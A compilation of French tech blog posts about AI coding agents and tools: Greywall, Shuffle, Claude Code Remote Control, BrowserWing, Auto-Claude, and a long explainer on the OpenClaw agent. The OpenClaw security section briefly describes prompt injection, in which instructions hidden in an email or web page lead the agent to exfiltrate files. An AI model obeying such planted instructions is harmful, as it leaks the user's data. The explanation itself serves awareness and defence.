Greywall est agnostique. Ça marche avec Claude Code, Codex, Cursor, Aider, Goose, Gemini CLI, Cline, et une dizaine d'autres. Tu changes d'agent, ta couche de sécurité reste la même.

Et après : vers un proxy sémantique

Le greyproxy actuel travaille au niveau des connexions : il voit les domaines, les ports, les IPs. Il ne déchiffre pas le TLS, il ne lit pas le contenu. C'est déjà très utile pour contrôler les accès réseau.

Mais là où ça devient vraiment intéressant, c'est quand on commence à reconstruire les conversations LLM qui passent par le proxy. Pas en cassant le chiffrement ; en instrumentant le flux côté client. L'idée, c'est de construire un proxy sémantique qui comprend ce que l'agent envoie et reçoit, qui peut faire du remplacement de variables d'environnement à la volée (pour ne jamais exposer tes vrais secrets à l'API du LLM), et qui te donne une vision complète de ce que l'IA fait en ton nom.

On en est au début, mais la direction est claire : remettre l'humain au milieu du système. Pas comme un goulot d'étranglement, mais comme un observateur informé qui peut intervenir quand c'est nécessaire. C'est ce qui manque cruellement à des systèmes comme OpenClaw et à la plupart des outils d'orchestration d'agents.

Pour essayer

Installation rapide :

# Homebrew
brew tap greyhavenhq/tap && brew install greywall

# Ou via curl (pas taper)
curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh

Ça tourne sur Linux et macOS. Sur Linux, il te faut bubblewrap et socat comme dépendances. Greyproxy s'installe comme service systemd si tu veux qu'il tourne en permanence.

Si tu veux comprendre les détails techniques de l'architecture (les 5 couches de sécurité, pourquoi on a abandonné Docker, comment fonctionne la capture réseau transparente), on a écrit un article technique détaillé ici : https://greyhaven.co/insights/why-we-built-our-own-sandboxing-sytem

La question

J'ai une vraie question pour la communauté. Ceux d'entre vous qui utilisent des agents IA pour coder (même occasionnellement, même à contrecœur) : comment vous gérez la sécurité ? Vous faites confiance par défaut ? Vous avez mis en place quelque chose ? Ou vous préférez ne pas y penser ?

Et pour ceux qui n'utilisent pas d'agents IA : est-ce que le manque de transparence et de contrôle fait partie des raisons ?

Ça m'intéresse vraiment de savoir :)

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Shuffle - Quand 4 IA redesignent votre site (et c'est moche)

Shuffle , c'est un outil qui vous propose de redesigner votre site web avec 4 modèles d'IA différents. Vous collez votre URL, vous décrivez ce que vous voulez... et boom, Claude Opus 4.6, GPT-5.2, Gemini 3 Pro et Kimi K2.5 vous pondent chacun leur version. J'ai testé sur ma home. Verdict : c'est moche de fou !

Vous arrivez sur la page, vous entrez l'adresse de votre site, vous tapez un petit prompt du genre "modernise mon blog tech" et vous lancez la machine. Les 4 modèles bossent alors en parallèle et au bout de 30 secondes environ, vous avez 4 propositions de redesign à comparer côte à côte.

Je trouvais le concept cool, sauf que dans la pratique, c'est une autre histoire. Comme je vous le disais en intro, j'ai testé sur korben.info, et les 4 IA ont eu exactement la même idée lumineuse : tout foutre en thème sombre. QUATRE sur QUATRE ! Pas un seul n'a osé proposer autre chose qu'un fond #1a1a2e dégeu avec des accents néon bleu-vert. Original, hein !!

Les 4 propositions de redesign de korben.info... toutes en dark mode. Désolé si votre site ressemble à ça.

On dirait que pour les IA, "blog tech" = "dark mode obligatoire"... et du coup ça ressemble à tous les médias tech génériques qu'on retrouve partout. Sauf si vous précisez "fond clair" dans le prompt, mais même là, c'est pas garanti.

Claude Opus a pondu une esthétique "hacker" avec du code Matrix en fond vert (carrément, on se laaache). GPT-5.2 a carrément rebaptisé le site "KORBEN NEXT" avec une baseline inventée de toute pièce, "La veille tech qui va droit au but"... euh, merci mais non merci j'aime pas le foot. Gemini 3 Pro a opté pour un style magazine éditorial et Kimi K2.5 (le modèle chinois de Moonshot AI) a sorti le gradient hero classique, propre... ou plutôt fade.

Bah ouais, les IA analysent la structure, les catégories, les images... mais le résultat c'est finalement toujours le même template sombre "tech media 2024" qu'on a vu un million de fois. Alors que pour moi, Korben.info c'est pas du tout cette ambiance.

Mais l'outil a quand même des qualités puisque l'éditeur visuel permet de modifier le résultat en drag-and-drop sans toucher au CSS, et vous pouvez même exporter le code dans 4 formats : Next.js, Laravel, WordPress ou HTML classique. En fait, ça peut servir de très bon point de départ si vous avez la flemme de partir d'une page blanche et si votre webdesigner est devenu injoignable depuis qu'il est parti à Punta Cana.

Côté prix, y'a une version gratuite mais limitée à quelques générations, et après puis c'est 24 dollars par mois...etc.

Ça aurait pu être un excellent outil mais malheureusement, les modèles sont formatés sur les mêmes tendances, les mêmes palettes, les mêmes layouts. C'est dommage je trouve. Voilà, après je pourrais vous faire une conclusion bien neuneu genre "C'est pas demain qu'une IA remplacera un vrai directeur artistique qui comprend l'identité d'une marque." mais la réalité, c'est que un humain moyen motivé qui sait ce qu'il veut peut avoir un truc incroyablement bien généré par IA s'il prend le temps le temps de se former et qu'il ne lâche rien ! Tenez par exemple, 100% du template graphique de mon site a été généré à l'aide de l'IA et moi derrière pour la fouetter...

Voilà, si vous voulez rigoler un peu, allez tester votre site sur Shuffle mais ne vous attendez pas à un miracle !

Claude Code - Pilotez votre terminal depuis votre canapé

Claude Code tourne en local et c'est son gros avantage car ça permet par exemple d'agir sur votre machine, de lancer des scripts...etc. Mais c'est aussi sa grosse limite car à cause de ça, vous êtes cloué devant votre terminal. J'étais en quête depuis un moment d'une solution et je vous avais déjà parlé de Vibe Companion y'a pas longtemps mais tous ces outils vont disparaitre puisque Anthropic vient de sortir Remote Control, une feature qui transforme claude.ai ou l'app mobile en télécommande pour votre session locale. Comme ça, vos fichiers restent chez vous et seule l'interface voyage.

Votre ordi fait tourner Claude Code normalement, et vous, vous pouvez continuer à lui parler depuis votre iPhone, votre Android, votre iPad ou n'importe quel navigateur Chrome, Firefox, Safari... Pas de serveur exposé, pas de port ouvert, que du HTTPS sortant. C'est plutôt bien foutu vous allez voir !

Ce qu'il vous faut

Bon déjà, un abonnement Pro (Édit : ? on me dit que c'est pas encore actif pour les pro ?) ou Max (pas le choix, les clés API ne marchent pas et les plans Team/Enterprise sont exclus pour le moment). Ensuite, vérifiez que Claude Code est installé et que vous êtes connecté via /login. Acceptez ensuite le "workspace trust" dans votre projet et hop, c'est tout côté prérequis.

Lancer une session

Deux options s'offrent à vous ensuite... Soit vous démarrez une nouvelle session dédiée :

claude remote-control

Soit vous êtes déjà en train de bosser dans Claude Code et vous tapez /rc (alias de /remote-control). Avec claude remote-control, seule l'URL apparaît... donc appuyez sur espace pour afficher le joli QR code.

3 flags utiles (uniquement avec claude remote-control, pas /rc) : --verbose pour voir ce qui transite, --sandbox pour forcer le mode bac à sable (désactivé par défaut) et --no-sandbox pour le couper si vous l'avez activé dans votre config.

Se connecter depuis un autre appareil

Ensuite, la méthode la plus rapide c'est de scanner le QR code avec votre téléphone. Sinon, copiez l'URL affichée et collez-la dans n'importe quel navigateur. Dernière option, allez sur claude.ai/code et votre session apparaît dans la liste (les sessions actives ont un petit point vert).

Une fois connecté, vous récupérez votre conversation en cours, vos fichiers, votre contexte... tout. Vous pouvez envoyer des messages, voir les résultats, approuver les modifications de fichiers. Bref, comme si vous étiez devant votre terminal, sauf que vous êtes dans votre canapé, votre lit ou en train de pousser le caddie chez Auchan !

Activer par défaut

Maintenant, si vous voulez que CHAQUE session Claude Code soit automatiquement accessible à distance, tapez /config dans une session Claude Code, puis activez l'option "Enable Remote Control for all sessions". Et voilà, plus besoin d'y réfléchir ! Chaque claude lancé dans un terminal sera pilotable depuis votre navigateur ou l'app mobile.

Vos sessions prennent le nom de votre dernier message (ou "Remote Control session" par défaut), donc utilisez /rename mon-projet-cool pour les retrouver facilement dans la liste sur claude.ai/code.

Sinon, dans Claude Code avec /mobile vous pouvez aussi afficher directement le QR code pour télécharger l'app Claude sur iOS ou Android.

Les limites à connaître

Bon, après c'est pas non plus parfait car déjà, c'est cappé à UNE SEULE session à distance par instance de Claude Code (si vous en lancez une deuxième, la première se déconnecte). Par contre, plusieurs instances dans des terminaux différents peuvent chacune avoir leur session remote. Le terminal doit également rester ouvert (si vous le fermez, c'est fini). Mais bonne nouvelle quand même, si le laptop passe en veille ou que le réseau saute, ça se reconnectera tout seul au réveil. Le piège, c'est si la machine reste sans réseau plus de 10 minutes... là, la session expire et il faudra relancer claude remote-control.

Soyez rassurés quand même côté sécurité c'est propre (uniquement du HTTPS sortant sur le port 443, zéro port entrant et des identifiants éphémères), mais gardez en tête que Claude Code a accès à votre terminal donc sauf si vous activez --sandbox, il peut de ce fait exécuter n'importe quelle commande... donc les mêmes précautions qu'en local s'appliquent !

Du coup si vous en avez marre de rester scotché devant votre terminal, maintenant vous savez quoi faire.

Merci à Lorenper !

Claude ouvre ses outils pro à tous (et y'a zéro pub)

OpenAI colle des pubs dans ChatGPT, et pendant ce temps, Anthropic fait exactement l'inverse puisqu'ils viennent d'ouvrir tous les outils premium de Claude aux utilisateurs gratuits.

Création de fichiers Excel, PowerPoint, Word, PDF (oui, tout ça)... c'était autrefois réservé aux abonnés Pro et depuis hier, c'est accessible à tout le monde ! Vous pouvez donc créer un tableau Excel avec des formules, un PowerPoint bien formaté, ou un document Word prêt à envoyer.

Côté connecteurs, vous pouvez brancher Claude directement sur Slack, Notion, Figma, WordPress, Zapier, Stripe, Canva, Asana et même PayPal. En gros, l'IA va chercher des infos dans vos outils et agit dessus plutôt que de vous laisser faire du copier-coller.

Y'a aussi les Skills (pour expliquer rapidos, ce sont des fichiers d'automatisation) que vous configurez pour que l'assistant fasse des tâches répétitives à votre place. Du coup, si vous avez déjà bidouillé avec ses capacités de dev , vous voyez l'intérêt d'avoir ça.

Anthropic a aussi glissé la "conversation compaction" qui garde le contexte sur des échanges plus longs. Le modèle pour les gratuits, c'est Sonnet 4.5 et les abonnés Pro à 20$/mois gardent Opus. Attention quand même, les limites d'utilisation n'ont PAS bougé parce que bon, faut bien vendre le Pro. Donc au bout de quelques échanges, ça sera moins chouette ^^... sauf si vous passez à la caisse, évidemment.

Moi je suis pas super fan de leur application Desktop et je préfère largement la version Claude Code en CLI mais bon, c'est juste une question de goût, car ça marche tout aussi bien.

Bref, entre les pubs d'OpenAI et les outils gratuits d'Anthropic... le choix est vite fait ! Anthropic est à un virage important et il ne faut pas qu'ils se loupent, car les gens sont ( enfin ) en train de se rendre compte que leur Claude est biiiiien au dessus de ce que propose ChatGPT.

Source

BrowserWing - Laissez l'IA prendre le contrôle de votre navigateur

Vous rêvez de pouvoir dire à une IA "va sur ce site, remplis ce formulaire avec mes infos, et clique sur le gros bouton rouge" et que ça se fasse tout seul pendant que vous allez vous chercher un café ? Hé bien c'est exactement la promesse de BrowserWing , un petit outil open source qui fait le pont entre vos modèles de langage (via les API d'OpenAI, Claude, DeepSeek...) et votre navigateur Chrome ou Chromium.

En fait BrowserWing va enregistrer vos actions dans le navigateur (clics, saisies, navigation), les transformer en scripts, puis les convertir en commandes MCP (Model Context Protocol). Pour ceux qui débarquent, le MCP c'est le nouveau standard qui permet aux IA de discuter avec des outils externes. Vraiment c'est super pratique comme protocole. Je l'utilise tous les jours, et je vous recommande vraiment de vous y intéresser.

Du coup, grâce à ça, vos agents IA peuvent ensuite rejouer ces actions. C'est comme si vous créiez des macros pour le web, mais intégrables dans un flux piloté par l'intelligence artificielle.

Attention toutefois, on est sur une version très précoce (v0.0.1), donc le jeu de commandes est encore limité et les choses peuvent bouger mais l'idée est là...

Voilà, c'est parfait pour simplifier l'automatisation de toutes ces tâches répétitives et reloues qu'on se cogne quotidiennement sur le web. On peut envisager du scraping, du remplissage de formulaires, ou même des workflows qui enchaînent plusieurs sites et l'avantage par rapport à un script Selenium ou Playwright classique, c'est que l'IA peut potentiellement mieux digérer les petits changements visuels et comprendre le contexte de la page.

Comment l'installer sans se brûler les ailes

Pour tester la bête, vous avez deux options. La plus simple, c'est de récupérer le binaire précompilé directement sur la page Releases du projet GitHub. Vous prenez celui qui correspond à votre OS, et hop, c'est parti.

Sur Linux ou macOS :

chmod +x ./browserwing
./browserwing --port 8080

Sur Windows :

./browserwing.exe --port 8080

Une fois que le serveur tourne, il suffit d'aller sur http://localhost:8080 pour accéder à l'interface. Pour les plus barbus qui aiment bien compiler eux-mêmes (je sais qu'il y en a parmi vous), c'est aussi possible via un petit make install et make build-embedded, à condition d'avoir Go 1.21+ et pnpm 9 sous le coude.

Le futur de la navigation assistée ?

Une fois l'interface lancée, le workflow est plutôt intuitif. Vous ouvrez un navigateur piloté par BrowserWing, vous cliquez sur "Enregistrer", et vous faites votre petite popote habituelle. Une fois fini, l'outil vous génère un script que vous pouvez éditer visuellement avant de le transformer en commandes MCP exploitables par n'importe quel agent compatible.

Le truc vraiment cool, c'est que BrowserWing gère la persistance des cookies entre les sessions. Ça veut dire que vous pouvez automatiser des actions sur des sites où vous devez être connecté sans avoir à vous retaper l'authentification à chaque fois. L'IA peut ensuite combiner plusieurs scripts et prendre des décisions en fonction du contenu de la page. C'est plus souple qu'un script codé en dur qui panique au moindre popup inattendu.

Bref, si vous passez vos journées à faire du copier-coller entre des sites web ou que vous voulez voir ce que l'automatisation par IA a vraiment dans le ventre (même si c'est encore "work in progress"), allez jeter un œil à BrowserWing. C'est sous licence MIT, c'est gratuit, et ça pourrait bien vous sauver quelques heures de vie par semaine à l'avenir. D'ailleurs, ça me rappelle un peu ce que je vous disais sur Chrome-GPT à l'époque, mais en beaucoup plus moderne grâce au MCP.

Un immense merci à Lorenper pour le partage de cette pépite !

Saga OpenClaw (ClawdBot, Moltbot) : enjeux techniques, juridiques et éthiques d’un assistant IA open source

Né en novembre 2025, Clawd, un projet open source IA, a été renommé Moltbot sous la pression juridique de Anthropic (Claude), puis OpenClaw rapidement.

Nous passerons en revue dans cet article la chronologie des faits, les enjeux techniques, juridiques et éthiques, dans un monde open source, projet dont la diffusion a explosé pour bien des raisons…

Logo OpenClaw

Sommaire

Chronologie

ClawdBot de novembre 2025 au 27 janvier 2026

Le projet débute en novembre 2025 sous le nom de Clawdbot, lancé par l'ingénieur autrichien Peter Steinberger, développeur autrichien et fondateur de PSPDFKit. Ce prototype de « WhatsApp Relay » connecte l'IA aux applications de messagerie pour automatiser des tâches système. Le succès est immédiat avec 60 000 étoiles GitHub en seulement trois jours. Le nom fait initialement référence à l'outil Claude d'Anthropic. En outre, le nom et le logo évoquent le homard, symbole repris dans l’identité visuelle du projet.

ClawdBot connaît une adoption rapide dès sa publication sur GitHub. Le projet vise explicitement une alternative locale et contrôlée aux assistants IA centralisés.

MoltBot du 27 au 29 janvier 2026

Le 27 janvier 2026, la firme Anthropic demande un changement de nom pour éviter toute confusion avec sa marque « Claude ». Peter Steinberger rebaptise alors le projet Moltbot, évoquant la mue du crustacé. Ce changement intervient dans un contexte de couverture médiatique maximale. La transition est techniquement précipitée, et elle met en lumière les fragilités organisationnelles liées à une croissance trop rapide. On voit apparaître des clones, des faux dépôts et des tentatives d’escroquerie, par exemple le vol de comptes sociaux par des escrocs et le lancement d'un faux jeton de cryptomonnaie nommé $CLAWD.

OpenClaw depuis 30 janvier 2026

Le 30 janvier 2026, le projet adopte son identité définitive : OpenClaw. Une vérification juridique préalable est effectuée. Les domaines et identités associées sont sécurisés. Ce nouveau nom souligne l'ancrage dans le logiciel libre tout en conservant l'hommage au homard d'origine. La transition est cette fois sécurisée par des recherches de marques et le blocage des noms de domaines. Le projet se stabilise et dépasse rapidement les 124 000 étoiles GitHub.

La phase OpenClaw marque une stabilisation. Plusieurs correctifs de sécurité sont publiés. La gouvernance s’ouvre à de nouveaux mainteneurs issus de la communauté.

OpenClaw

Description et définition

OpenClaw est un assistant IA personnel appartenant à la catégorie des agents autonomes. Il est conçu pour être installé et s'exécuter sur la machine de l'utilisateur (auto-hébergé). Contrairement aux chatbots classiques, il peut prendre des décisions et effectuer des actions concrètes sur un système d'exploitation sans supervision humaine constante. Le logiciel agit comme une couche d’orchestration entre modèles IA et services locaux. Il vise un usage personnel ou organisationnel. L’autonomie fonctionnelle est au cœur de sa proposition de valeur.

Le site web décrit OpenClaw de cette manière :

OpenClaw
The AI that actually does things.
Clears your inbox, sends emails, manages your calendar, checks you in for flights.
All from WhatsApp, Telegram, or any chat app you already use.

Installation

L'installation se passe en ligne de commande : téléchargement, puis lancement de la procédure d'installation, choix du LLM, choix du chat, et voilà.

One-liner

# Works everywhere. Installs everything. You're welcome. 🦞
curl -fsSL https://openclaw.ai/install.sh | bash

npm

# Install OpenClaw
npm i -g openclaw
# Meet your lobster
openclaw onboard

Hackable

# For those who read source code for fun
curl -fsSL https://openclaw.ai/install.sh | bash -s -- --install-method git

Fonctionnalités

L'agent exécute des commandes shell, lit et écrit des fichiers locaux, ou gère les courriels et agendas. Il peut piloter un navigateur web pour remplir des formulaires ou effectuer des recherches. Le système dispose d'une mémoire persistante lui permettant de conserver le contexte des conversations à long terme (context window). Il peut également initier des interactions de manière proactive via des notifications.

Architecture

Le logiciel repose sur Node.js et TypeScript. Son architecture est divisée en trois couches : une passerelle locale (Gateway), un agent qui gère le raisonnement (découpage et séquencement), et le moteur d'IA (LLM). Il utilise des protocoles WebSocket pour la communication bidirectionnelle entre ses composants. Les interactions s'effectuent via des applications tierces comme WhatsApp, Telegram, Slack ou Discord. Il connecte des modèles IA à des applications tierces. Le système est extensible via plugins. Plus de cinquante intégrations sont disponibles. L’architecture privilégie la modularité plutôt que l’intégration verticale.

Licence

OpenClaw est distribué sous la licence MIT. Cette licence permissive, reconnue par l’Open Source Initiative et la Free Software Foundation, autorise l'utilisation, la modification et la distribution du code, y compris à des fins commerciales. La seule obligation est d'incorporer la notice de licence et de copyright dans toutes les copies.

Dépendances

Le projet combine des briques libres et propriétaires. Les dépendances libres incluent Node.js, Puppeteer et Ollama pour l'exécution locale (inférence d'IA). En revanche, le fonctionnement optimal nécessite souvent des API propriétaires comme celles d'Anthropic (Claude) ou d'OpenAI (GPT). L'utilisation de ces services externes entraîne des coûts d'abonnement pour l'utilisateur, et l'envoi et éparpillement de données sur des clouds étrangers (pouvant être soumis aux lois extra-territoriales).

Succès communautaire et médiatique

Dynamiques et amplifications

Le projet a bénéficié d'un engouement lié au mouvement du « vibe coding » (développement assisté par IA). Des figures influentes comme Andrej Karpathy ont soutenu publiquement l'initiative.

Les réseaux sociaux et médias amplifient le phénomène. Des contributeurs rejoignent le dépôt en masse. Des usages spectaculaires sont massivement partagés. Une véritable sous-culture est née autour de l'achat de serveurs Mac mini dédiés pour faire tourner l'agent 24h/24. La mascotte du « homard spatial » devient un mème.

Mème inspiré de "Spider-Man Pointing at Spider-Man"

Métriques

La croissance a été l'une des plus rapides de l'histoire de l'open source:

  • Le dépôt GitHub atteint une visibilité exceptionnelle avec plus de 100 000 étoiles GitHub en une semaine.
  • Le projet a attiré plus de 2 millions de visiteurs en sept jours.
  • La communauté a développé plus de 500 extensions ou « skills » partagées sur Clawhub.

Des milliers d’instances sont déployées en quelques semaines. Un réseau social Motlbook dédié aux agents autonomes sans humains est créé, et plus de 2 100 agents y sont recensés en 48 heures.

La popularité précède largement la maturité technique.

courbe des étoiles pour OpenClaw sur github

Aspects juridiques et légaux

Licences

La licence MIT ne pose pas de contrainte juridique majeure. Elle ne protège cependant ni le nom ni l’image du projet. L'utilisateur est responsable de l'installation et des conséquences de l'exécution de l'agent.

Cette licence n’encadre pas l’usage des modèles sous-jacents : bien que le code d'OpenClaw soit libre, les modèles d'IA qu'il appelle restent pour la plupart régis par les conditions d'utilisation strictes de leurs éditeurs respectifs. Cela limite l’indépendance réelle du projet. La licence du code ne garantit pas la liberté de l’ensemble de la chaîne.

Marques

La saga démontre la vigilance des entreprises face à la proximité phonétique des noms de projets. Anthropic a exercé son droit de marque pour protéger l'intégrité de son produit Claude. L’absence d’intention commerciale n’est pas déterminante. Peter Steinberger a dû consulter OpenAI avant le renommage final pour éviter de nouveaux conflits. Ce renommage illustre l’asymétrie entre acteurs : les projets libres restent vulnérables aux marques déposées.

Cadre réglementaire : RGPD et Cloud Act

Paradoxalement, l'auto-hébergement de la chaîne entière favorise la conformité au RGPD et la souveraineté, car les données restent sous le contrôle direct de l'utilisateur (responsable du traitement). Cela permet également d'éviter les risques du CLOUD Act américain en évitant le stockage et la transmission de données sur des serveurs étrangers. Toutefois, l'usage possible des services tiers et clouds publics de l'agent peut classer le système comme « à haut risque » selon l'AI Act européen, les données passant par des clouds soumis aux réglementations extra-territoriales.

Sécurité et vie privée

Stockage et fuite

L'architecture initiale stockait les clés d'API et l'historique des conversations en texte clair sur le disque. Des chercheurs ont identifié des milliers d'instances exposées sur Internet, divulguant des données sensibles. La concentration d'informations locales crée un point de défaillance unique (SPOF) en cas de compromission de la machine.

Authentification

Les premières versions ne requéraient pas d'authentification forte par défaut. Des interfaces d'administration étaient accessibles publiquement à cause de proxies/pare-feux mal configurés. Des correctifs récents ont supprimé les modes de connexion sans authentification pour durcir le système.

Injection de prompts

L'injection de prompts est la menace la plus critique et reste un problème non résolu dans l'industrie. Un attaquant peut insérer des instructions malveillantes dans un courriel ou un site web consulté par l'agent. L'IA peut alors exécuter des ordres indésirables, comme l'exfiltration de fichiers, en croyant obéir à son propriétaire.

Contrôle et privilèges

OpenClaw agit comme un super-utilisateur virtuel avec des accès profonds au système : l’agent dispose de privilèges élevés, il peut exécuter des commandes système, et il agit parfois avec des droits excessifs. Il combine l'accès aux données privées, l'exposition à des contenus non vérifiés et la capacité de communication externe. La séparation des privilèges est insuffisante par défaut, l’isolation reste complexe, et le risque augmente avec l’autonomie. Ce mélange de privilèges et autonomie transforme l'assistant en un vecteur d'attaque puissant s'il est détourné.

Durcissement et mitigation

Des correctifs ont été publiés après coup, nombre de commits concernent la sécurité, et la documentation actuelle reconnaît l’absence de configuration parfaite. La communauté recommande donc l'utilisation de conteneurs Docker pour isoler les sessions de l'agent. L'accès à distance doit être sécurisé par des tunnels comme Tailscale ou VPN. L'usage des droits « root » est désormais désactivé par défaut et nécessite une activation explicite (principe du moindre privilège).

Ces pratiques restent encore peu suivies, car difficiles à appliquer pour des non-experts, dans un contexte de déploiement rapide. La sécurité et la vie privée dépendent fortement du niveau technique de l’utilisateur, ne sont pas encore des acquis structurels.

Impact et enjeux de l'IA

Court terme

OpenClaw accélère la productivité en éliminant les tâches de manipulation de données entre applications, en automatisant et en autonomisant les processus via IA et agents. Cependant, il introduit un risque d'IA fantôme (Shadow AI) dans les entreprises où les employés déploient l'outil sans supervision de la direction informatique, ou d'alignement à une charte. La vitesse de diffusion a largement dépassé la maturité des mesures de sécurité initiales.

OpenClaw démocratise les agents autonomes : il rend accessibles rapidement et facilement des capacités jusque-là expérimentales, et il remet en cause d'une certaine manière le monopole des plateformes centralisées. Il expose aussi des utilisateurs non avertis à des risques élevés, la diffusion foudroyante dépasse la capacité de montée de connaissances. Le projet agit comme un révélateur.

Moyen terme

On peut amplement anticiper que le succès rapide du projet pourrait influencer la régulation et une standardisation des protocoles avancés d'agents, pour rendre ces assistants interchangeables. Le cadre réglementaire européen (voire mondial ?) obligera probablement à des certifications de sécurité plus strictes. Les grandes entreprises et organisations gouvernementales pourraient publier des versions sécurisées et certifiées du logiciel pour leurs besoins internes.

Ces nouveaux agents autonomes posent des questions inédites et à grande échelle. La sécurité pourrait devenir une obligation normative. Des outils d’audit spécialisés émergent, les pratiques de durcissement se structurent, OpenClaw sert de cas d’école.

Long terme

L'IA agentique pourrait redéfinir la souveraineté numérique en permettant à chacun de posséder son propre assistant local. Les agents autonomes pourraient devenir les principaux utilisateurs des systèmes numériques, rendant obsolètes certaines tâches manuelles de gestion. Cela transforme l’organisation du travail. L'enjeu éthique et social majeur sera l'imputabilité légale en cas de préjudice causé par une décision autonome de l'IA. La dépendance technologique augmente. La gouvernance devient centrale.

Prisme du logiciel et IA libre et open source

Ouverture

Le code source d'OpenClaw est totalement ouvert et auditable, respectant les critères du logiciel libre. Toutefois, l'ouverture est limitée par la dépendance aux modèles propriétaires dont les poids, les données et processus d'entraînement restent secrets et privateurs. Par exemple, le code ne contient à ce jour pas de télémétrie cachée. L’ouverture favorise l’innovation rapide par l'intelligence collective et l’appropriation communautaire, tout en facilitant bien évidemment les usages détournés.

Gouvernance

Le projet est passé d'une initiative solitaire à une gouvernance plus structurée intégrant plusieurs mainteneurs communautaires. Cette gestion collective ouverte renforce la résilience et l'anti-fragilité mais complexifie la coordination technique et sécuritaire. Les décisions critiques sont désormais partagées, et la sécurité est un enjeu majeur : la maturité dépendra de cette gouvernance.

Éthique

L'autonomie de l'IA pose des questions de responsabilité et met en évidence le risque d'erreurs invisibles ou noyées sans supervision humaine en temps réel et prise de décision sans humain. La frontière entre outil et acteur s’estompe. La transparence opérationnelle et l'auditabilité sont essentielles pour prévenir les usages malveillants tout en protégeant les données personnelles. L’éthique ne peut être entièrement déléguée aux modèles, elle dépend des choix d’architecture des développeurs et également dépend aussi des usages des utilisateurs.

Par conséquent, le fantasme d’une IA omniprésente inquiète et interroge sur la dépendance technologique. À long terme, on peut légitimement craindre que cette automatisation et autonomisation de tâches et processus à la complexité croissante prenne de l’ampleur. Ainsi la probabilité s’accroît de voir la remise en cause non seulement l'existence même de certains métiers, mais plus généralement de voir une dépendance de masse.

Souveraineté

L'auto-hébergement complet permet aux utilisateurs de rester maîtres de leur infrastructure et de leurs données. Cela réduit la dépendance envers les géants technologiques et évite le verrouillage propriétaire. Cela est à mettre en perspective avec l'utilisation des clouds publics et services centralisés, par exemple les modèles d'IA et messageries instantanées propriétaires et étrangers.

Intelligence collective

La force du projet réside dans son écosystème de compétences développées par des contributeurs du monde entier. Cette collaboration expérimentale et novatrice permet d'enrichir l'agent et l'écosystème. Nombre de failles ont pu être identifiées publiquement.

Au-delà du code

Une véritable IA open source devrait inclure les poids du modèle, les données d'entraînement et les processus d'apprentissage et de raffinement. OpenClaw est une infrastructure libre, mais n'est pas une « IA open source » au sens strict, en particulier lorsqu'il utilise des modèles fermés et opaques. Cette asymétrie limite l’auditabilité globale réelle. Elle interroge la notion d’IA libre et/ou open source

Résilience et anti-fragilité

Malgré son jeune âge, OpenClaw a déjà survécu à une crise majeure, et le projet s’étant restructuré, la communauté ayant absorbé le choc. Cette résilience dépendra de la capacité à réagir aux risques majeurs et à grande échelle, la sécurité devant précéder le succès. Le logiciel libre n’immunise pas contre les risques. L'architecture ouverte permet par exemple de basculer immédiatement vers d'autres modèles en cas de changement de politique d'un fournisseur d'API. Si le créateur abandonne le projet, la communauté peut forker le code pour assurer la pérennité de l'outil.

La saga OpenClaw renforce le débat sur la nécessité de surveiller et contrôler ces agents et de mettre garde-fous à tous niveaux.

Liens

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Faites de Claude une armée de développeurs à votre service

Vous rêvez de lancer Claude sur un projet et de le laisser bosser tout seul pendant que vous faites autre chose, du genre jouer à Animal Crossing en attendant la fin de la journée ? Hé bien c'est exactement ce que propose Auto-Claude, un outil open source qui transforme l'assistant IA préféré des devs en armée de développeurs plus autonomes que votre mère quand il s'agit d'échanger un billet de train.

J'avais déjà parlé de Claude Engineer c'est vrai. C'est un framework CLI en Python qui permettait de faire bosser Claude en autonomie. Mais Auto-Claude, alalalala, c'est un autre délire les amis ! Déjà c'est une vraie application desktop avec interface graphique, tableau Kanban pour gérer vos tâches, et surtout... 12 terminaux qui peuvent tourner en parallèle. Oui, DOUZE agents Claude qui bossent simultanément sur votre code pendant que vous candy crushez pépouze dans les WC de votre entreprise.

Les terminaux d'Auto-Claude en action, chacun gérant un agent autonome

Le truc génial, c'est que chaque agent travaille dans son propre git worktree. Du coup, pas de conflit (de canard ^^ - J'ai pas pu résister désolé), pas de branches qui s'emmêlent, et chaque tâche est isolée proprement.

Puis quand c'est fini ? Hop, vous validez et ça merge parfaitement sans vous prendre la tête. Ce truc est fou !

Installation

Alors pour commencer, il vous faut un abonnement Claude Pro ou Max. Pas le choix...

Ensuite, installez Claude Code via npm si c'est pas déjà fait :

npm install -g @anthropic-ai/claude-code

Maintenant on clone Auto-Claude :

git clone https://github.com/AndyMik90/Auto-Claude.git
cd Auto-Claude

Et on installe les dépendances. L'outil gère à la fois le frontend Electron et le backend Python :

npm run install:all

Et c'est tout. Si si sérieux. Bon, là je vous l'ai fait en mode installe de barbu.e.s mais sachez aussi qu'il y a des binaires à télécharger directement pour Windows, macOS (Intel ou Silicon) et Linux (AppImage, deb ou flatpak).

Lancement et utilisation

Pour démarrer l'interface graphique, ensuite, c'est :

npm start

Une fenêtre s'ouvre avec le fameux tableau Kanban. Vous ajoutez vos tâches, vous les assignez aux agents disponibles, et c'est parti. Chaque terminal affiche en temps réel ce que fait son agent.

Le tableau Kanban pour orchestrer vos agents IA

Pour les fans de ligne de commande, y'a aussi un mode CLI :

python run.py --spec 001

Le numéro correspond à un fichier de spec dans le dossier specs/. Vous écrivez ce que vous voulez, et Auto-Claude s'occupe du reste.

Comment ça fonctionne ?

L'architecture est plutôt bien pensée puisque le frontend Electron communique avec un backend Python via WebSocket. Chaque agent a son propre processus isolé, sa propre branche git, son propre contexte.

Ainsi, quand vous lancez une tâche, Auto-Claude :

  1. Crée un worktree git dédié
  2. Lance un agent Claude Code dessus
  3. Monitore l'avancement en temps réel
  4. Gère le pipeline QA automatiquement

Le tout avec une interface qui vous permet de suivre 12 conversations en parallèle, soit de quoi bien jouer au chef d'orchestre si vous avez un gros projet à abattre.

Je commence à peine à découvrir l'outil et faut que je le ponce un peu plus pour voir ce que je peux faire avec ça, mais si vous êtes chaud bouillant comme moi sur ce genre de truc, je vous invite à tester l'autonomie IA poussée à fond avec Auto-Claude.

C'est gratuit, open source, et ça tourne sur Mac, Windows et Linux . Et un grand merci à Louis pour la découverte !

Anthropic lance Cowork - Claude devient un vrai délégateur d'agents IA

Anthropic fait parler de lui avec ses recherches sur l'IA ! D'abord avec son protocole MCP qui connecte Claude à nos données (ce truc est incroyable !), et maintenant avec Cowork, un système qui laisse carrément des agents IA travailler en autonomie.

Et là, on passe enfin des mots à l'action.

